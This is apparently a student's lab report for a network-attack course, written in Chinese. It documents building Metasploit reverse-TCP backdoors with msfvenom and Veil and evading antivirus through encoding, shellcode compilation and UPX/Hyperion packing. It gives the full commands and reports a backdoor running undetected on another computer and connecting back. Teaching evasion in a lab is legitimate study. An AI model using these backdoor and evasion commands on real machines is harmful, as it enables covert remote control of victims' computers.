《网络对抗技术》Exp3 免杀原理与实践 Week5

一、实验内容

  • 1、正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,加壳工具,使用shellcode编程;

  • 2、通过组合应用各种技术实现恶意代码免杀;

  • 3、用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本;

二、实验步骤

步骤一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,加壳工具,使用shellcode编程;

msf尝试

  • 1、在命令行输入msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b ‘\x00’ LHOST=172.20.10.3 LPORT=5214 -f exe > 5214msf.exe,生成5214msf.exe。将5214msf.exe上传到Virus Total进行检测,检测结果如下,有50个杀软检测出来了。

  • 2、上面是只进行一次编码,接下来编码十次:msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b ‘\x00’ LHOST=172.20.10.3 LPORT=5214 -f exe > 5214msf-10.exe。再把它上传到VirusTotal,检测结果如下:

可以看到还是有48个杀软检测出来了,编码多次和编码一次的免杀效果差别不大。因为我们使用的是同样的模板,杀软只要针对这个模板有所防备就行了,

使用msf生成其他格式的文件(参考博客Metasploit之多种后门生成

  • 1、生成jar:msfvenom -p java/meterpreter/reverse_tcp LHOST=172.20.10.3 LPORT=5214 W >5214msf-java.jar ,检测结果:

  • 2、生成php:msfvenom -p php/meterpreter/reverse_tcp LHOST=172.20.10.3 LPORT=5214 -f raw >5214msf-php.php,检测结果:

  • 3、生成jsp:msfvenom -p java/jsp_shell_reverse_tcp LHOST=172.20.10.3 LPORT=5214 R >5214msf-jsp.jsp,检测结果:

veil-evasion的尝试

  • 1、安装Veil-Evasion。

    • 参考同学的博客,先执行
mkdir -p ~/.cache/wine
cd ~/.cache/wine
wget http://dl.winehq.org/wine/wine-gecko/2.47/wine_gecko-2.47-x86.msi
wget http://dl.winehq.org/wine/wine-gecko/2.47/wine_gecko-2.47-x86_64.msi
- 安装Veil-Evasion:```sudo apt-get install veil-evasion```
- 输入```veil```打开veil,第一次打开时需要进行安装

这应该是这个实验最最最最花时间的部分了。。和各位同学遇到的问题一样,我也是各种卡,卡%16,%25,%91等等等等。但是我一直等了下去,等了4、5个小时,之间经历了断网重来,中间还又装了和Python相关的3、4个软件,令人绝望。后来终于下好了!输入veil后出现界面:

  • 2、打开veil后,先输入use evasion进入evasion界面。

  • 3、生成后门程序

    • 输入use c/meterpreter/rev_tcp.py

    • 输入set LHOST 172.20.10.3设置回连地址(这里的IP地址是kali虚拟机的ip地址)

    • 输入set LPORT 5214设置回连端口

    • 输入generate生成文件

    • 最后输入你想要给后门程序起的名字,这里我输入的是5214-veil。成功生成文件:



      文件默认在/var/lib/veil/output/compiled/5214-veil1.exe

  • 4、使用VirusTotal进行检测,发现还是有37个杀软能够检测出来:

使用shellcode编程

  • 1、在命令行中输入msfvenom -p windows/meterpreter/reverse_tcp LHOST=172.20.10.3 LPORT=5214 -f c来生成C语言格式的ShellCode数组。

  • 2、创建5214-shell.c创建.c文件,输入下图中的代码,其中buf数组中的值就是上面生成的。

  • 3、输入i686-w64-mingw32-g++ 5214-shell.c -o 5214-shell.exe进行编译。将得到的5214-shell.exe先使用VirusTotal进行检测,结果如下:

  • 4、打开msfconsole,再在本机上打开5214-shell.exe,此时发现无法连接(但是在下面加壳过后就可以连接上了)

  • 5、结合使用不同编码器:msfvenom -p windows/meterpreter/reverse_tcp -e x86/bloxor LHOST=172.20.10.3 LPORT=5214 -f c

  • 6、创建5214-shell-extend.c创建.c文件,输入下图中的代码,其中buf数组中的值就是上面生成的(buf太长,省略一部分)。

  • 7、输入i686-w64-mingw32-g++ 5214-shell-extend.c -o 5214-shell-extend.exe进行编译。将得到的5214-shell-extend.exe先使用VirusTotal进行检测,结果如下:

加壳工具

加壳是对相应的资源进行压缩,压缩后仍可运行。它可以用来保护版权,但同时许多病毒也利用它来作为原理。接下来将使用压缩壳和保密壳来进行试验。

  • 1、压缩壳(UPX)

    • 输入upx 5214-shell.exe -o UPX5214-shell.exe进行加壳

    • 加壳后进行检测,如下:

    • 尝试进行回连,成功:

  • 2、加密壳Hyperion

    • 考虑到下一步就是组合技术实现免杀,所以我就直接把加压缩壳后的文件直接再加加密壳。

    • 将UPX5214-shell.exe复制到/usr/share/windows-binaries/hyperion/

    • 在目录/usr/share/windows-binaries/hyperion/下输入wine hyperion.exe -v UPX5214-shell.exe HyperionUPX5214-shell.exe再次进行加壳:

    • 进行免杀检测:

    • 尝试进行回连:

步骤二:通过组合应用各种技术实现恶意代码免杀;

  • 开启360,把在步骤一中最终生成的hyUPX5214-shell.exe放到本机中,发现没有被查杀:

步骤三:用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本;

  • 把文件发到同学的电脑上(装有腾讯管家13.0.19837.233),没有被杀掉。

  • 在我的kali上打开msfconsole,然后在同学的电脑上运行后门程序,成功连上

三、遇到的问题

  • 1、在使用msf生成的shellcode编译成文件来尝试进行回连时失败了,但是加壳后回连就成功了。现在还没有发现其原因。

  • 2、老师的指导书中一些说杀软杀不出来的地方,结果杀软都杀掉了。。。这是不是也说明了杀毒软件也是在不停发展的?我们实验所用的处理软件都是比较常用的,加上我们的步骤都是比较简单的,很容易成为杀软的识别对象。

四、基础问题问答

  • 1、杀软是如何检测出恶意代码的?

  • 答:基于特征码的检测:简单来说一段特征码就是一段或多段数据。如果一个可执行文件(或其他运行的库、脚本等)包含这样的数据则被认为是恶意代码。

    启发式恶意软件检测:对恶意软件检测来主说,就是如果一个软件在干通常是恶意软件干的事,看起来了像个恶意软件,就把它当成一个恶意软件进行检查。典型的行为如连接恶意网站、开放端口、修改系统文件,典型的“外观”如文件本身签名、结构、厂商等信息等。

    基于行为的恶意软件检测:基于行为的检测相当于是启发式的一种,或者是加入了行为监控的启发式

  • 2、免杀是做什么?

  • 答:免杀就是让安插的后门不被AV软件发现

  • 3、免杀的基本方法有哪些?

  • 答:

  • 改变特征码

    • 如果你手里只有EXE

      • 加壳:压缩壳 加密壳
    • 有shellcode(像Meterpreter)
      • 用encode进行编码
      • 基于payload重新编译生成可执行文件
    • 有源代码
      • 用其他语言进行重写再编译(veil-evasion)
  • 改变行为

    • 通讯方式

      • 尽量使用反弹式连接
      • 使用隧道技术
      • 加密通讯数据
    • 操作模式
      • 基于内存操作
      • 减少对系统的修改
      • 加入混淆作用的正常功能代码
  • 4、开启杀软能绝对防止电脑中恶意代码吗?

  • 答:从实验中就可以知道不可以。

五、心得体会

这次实验让我知道了有很多杀毒软件其实是不管用的,一些简单的操作就能够迷惑他们。但是,杀毒软件也是不断地在更新的,以前学长学姐们可以正常存留下来的程序,我在做的时候就都被杀软发现了。感觉实验还是很有趣的,毕竟和现实练习是很密切的。这次实验让我感受到了免杀的强大力量,也让我感受到了自己的能力有限。今后应加强学习,不断提高自己的网络安全能力。

20165214 2018-2019-2 《网络对抗技术》Exp3 免杀原理与实践 Week5的更多相关文章

  1. 20145215《网络对抗》Exp3 免杀原理与实践

    20145215<网络对抗>Exp3 免杀原理与实践 基础问题回答 杀软是如何检测出恶意代码的? 基于特征来检测:恶意代码中一般会有一段有较明显特征的代码也就是特征码,如果杀毒软件检测到有 ...

  2. 20155227《网络对抗》Exp3 免杀原理与实践

    20155227<网络对抗>Exp3 免杀原理与实践 实践内容 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用shellcode编程等 ...

  3. 20155232《网络对抗》Exp3 免杀原理与实践

    20155232<网络对抗>Exp3 免杀原理与实践 问题回答 1.基础问题回答 (1)杀软是如何检测出恶意代码的? 基于特征码的检测 特征码:一段特征码就是一段或多段数据. 如果一个可执 ...

  4. 20155302《网络对抗》Exp3 免杀原理与实践

    20155302<网络对抗>Exp3 免杀原理与实践 实验要求 1.正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用shellcode编 ...

  5. 20155323刘威良《网络对抗》Exp3 免杀原理与实践

    20155323刘威良<网络对抗>Exp3 免杀原理与实践 实践内容 1 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用shellco ...

  6. 20155333 《网络对抗》Exp3 免杀原理与实践

    20155333 <网络对抗>Exp3 免杀原理与实践 基础问题回答 (1)杀软是如何检测出恶意代码的? 基于特征码的检测: 启发式恶意软件检测: 基于行为的恶意软件检测. (2)免杀是做 ...

  7. 20145307陈俊达《网络对抗》Exp3 免杀原理与实践

    20145307陈俊达<网络对抗>Exp3 免杀原理与实践 基础问题回答 杀软是如何检测出恶意代码的? 恶意代码中一般会有一段有较明显特征的代码也就是特征码,如果杀毒软件检测到有程序包含的 ...

  8. 20155218《网络对抗》Exp3 免杀原理与实践

    20155218<网络对抗>Exp3 免杀原理与实践 一.使用msf生成后门程序的检测 (1)将上周msf生成的后门文件放在virscan.org中进行扫描,截图如下: (2)使用msf时 ...

  9. 20155239吕宇轩《网络对抗》Exp3 免杀原理与实践

    20155239吕宇轩<网络对抗>Exp3 免杀原理与实践 实验过程 Kali使用上次实验msfvenom产生后门的可执行文件,上传到老师提供的网址http://www.virscan.o ...

  10. 20155338《网络对抗》Exp3 免杀原理与实践

    20155338<网络对抗>Exp3 免杀原理与实践 实验过程 一.免杀效果参考基准 Kali使用上次实验msfvenom产生后门的可执行文件,上传到老师提供的网址http://www.v ...

随机推荐

  1. 环境准备—之—linux下安装python3和pip3

    转自 上海悠悠 https://www.cnblogs.com/yoyoketang/p/10195102.html 前言 centos7 自带有 python,但是却是 python2 版本的 py ...

  2. spring中集成hibernate

    1.hibernate框架是什么? (1)hibernate对jdbc进行的封装 (2)开源的轻量级框架. 2.hibernate思想:ORM(对象关系映射) (1)让实体类和数据库中的表一一对应(表 ...

  3. windows,用c++调用mxnet做前向

    参考博客: https://blog.csdn.net/qq_34062105/article/details/82590553 https://blog.csdn.net/u012234115/ar ...

  4. Error during generated code invocation: com.intellij.debugger.engine.evaluation.EvaluateException: Method threw 'java.lang.IllegalAccessError' exception.

    场景描述: 再从该数据库中读取数据进行处理的时候,需要将某个字段加入到一个动态的map中,然后需要对该map进行filter过滤,在执行过滤方法的时候报错 Error during generated ...

  5. vue.js+webpack在一个简单实例中的使用过程demo

    这里主要记录vue.js+webpack在一个简单实例中的使用过程 说明:本次搭建基于Win 7平台 Node.js 安装官网提供了支持多种平台的的LTS版本下载,我们根据需要来进行下载安装.对于Wi ...

  6. 8.4 GOF设计模式三: 外观模式 Facade

    GOF设计模式三: 外观模式 Facade  “现有系统”功能强大.复杂,开发“新系统”需要用到其中一部分,但又要增加一部 分新功能,该怎么办?4.1 Facade Pattern: Key Fea ...

  7. React文档(二十二)context

    React中,通过React组件可以很容易地追踪数据流.当你关注一个组件,你可以发现哪一个props被传递了,这样使得你的应用很容被推断. 在一些情况下,你想要传递数据通过组件树而不需要去手动在每一层 ...

  8. [cf contest 893(edu round 33)] F - Subtree Minimum Query

    [cf contest 893(edu round 33)] F - Subtree Minimum Query time limit per test 6 seconds memory limit ...

  9. 某mac最简单调节亮度

    说明 mac用户其实都可以使用 背景 很多人都说需要打补丁啊,或者修改什么的,我试过不管用.不如通过软件调节.. 正文 从appstore下载 Brightness Slider 即可,虽然不能达到系 ...

  10. 转:为什么根据IP地址查询物理所在地,而不是mac地址?

    来自 https://mp.weixin.qq.com/s/aOZQGMnMI2nkX4-qcJL4WQ 读者 不是说mac地址是计算机网卡唯一的地址吗?这样不是可以直接定位到某一台机器吗?为什么要用 ...